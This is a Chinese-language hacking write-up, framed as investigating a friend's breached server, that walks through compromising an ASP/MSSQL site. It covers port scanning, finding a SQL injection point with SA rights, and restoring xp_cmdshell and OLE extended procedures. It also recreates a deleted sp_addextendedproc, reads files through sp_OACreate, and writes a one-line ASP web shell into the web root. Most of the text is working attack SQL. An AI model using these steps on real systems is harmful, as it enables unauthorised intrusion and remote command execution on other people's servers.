轉載請著明 [safe.it168.com]
作者:傷心的魚
【IT168 專稿】前言:
筆者的一位朋友應聘到一家公司做網管,據說整個機房就他們倆人,工作很輕松。幾乎是沒什么事做,但是昨天突然給我打電話說是機房被入侵了,被人加了很多用戶并且什么cain,arpspoof全都丟到javascript:tagshow(event, '%B7%FE%CE%F1%C6%F7');" href="javascript:;" target=_self>服務器上了,想讓筆者幫忙看看是怎么滲透進去的,于是乎在敲詐了一頓烤鴨之后筆者終于出手了。在經過朋友的同意之后特意將本文寫出來!
一.滲透前的踩點:
這哥們也夠狠,除了丟給我個IP其他什么都沒給我!IP是202.108.59.XX。沒辦法,自食其力。用superscan掃了下,發現開了21.80.1433 這三個端口,因為我只掃1-3389 。并沒看見終端的3389??磥磉@家伙是怕了,直接把3389給關掉了。 用旁注的工具檢測了下,發現服務器有兩個網站。兩個都是ASP的站,不用多說了。先尋找注射點吧,使用兩個啊D都打開google 搜索site:xxxx.com,一頁顯示一百條,掃了半天只發現一個站有注射點,居然還是SA權限!不被黑才怪!
如圖1
二: 恢復存儲過程
于是馬上想到恢復存儲過程來執行命令,于是在查詢分析器里執行:
CODE:
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
就是將以上的存儲過程全部恢復,但是在執行的時候卻提示沒能找到sp_addextendedproc,原來管理員把sp_addextendedproc也刪了。
圖3
CODE:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
圖4
CODE:
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
來讀取1.txt里的內容,但是卻發現不存在1.txt。
圖5
圖6
原來WEB目錄是C:\Inetpub\tianhong\ ,一般感覺管理員都不會用C:\Inetpub這個目錄,自己也就沒看,差點壞了大事。
不過既然知道了WEB目錄 就可以寫一個一句話進去啦 語句如下
CODE:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%execute(request("a"))%>'
命令執行成功 看來一句話寫進去了,馬上使用客戶端連一下,連接成功。
圖7
圖8
圖9
總結:原文轉自:http://www.anti-gravitydesign.com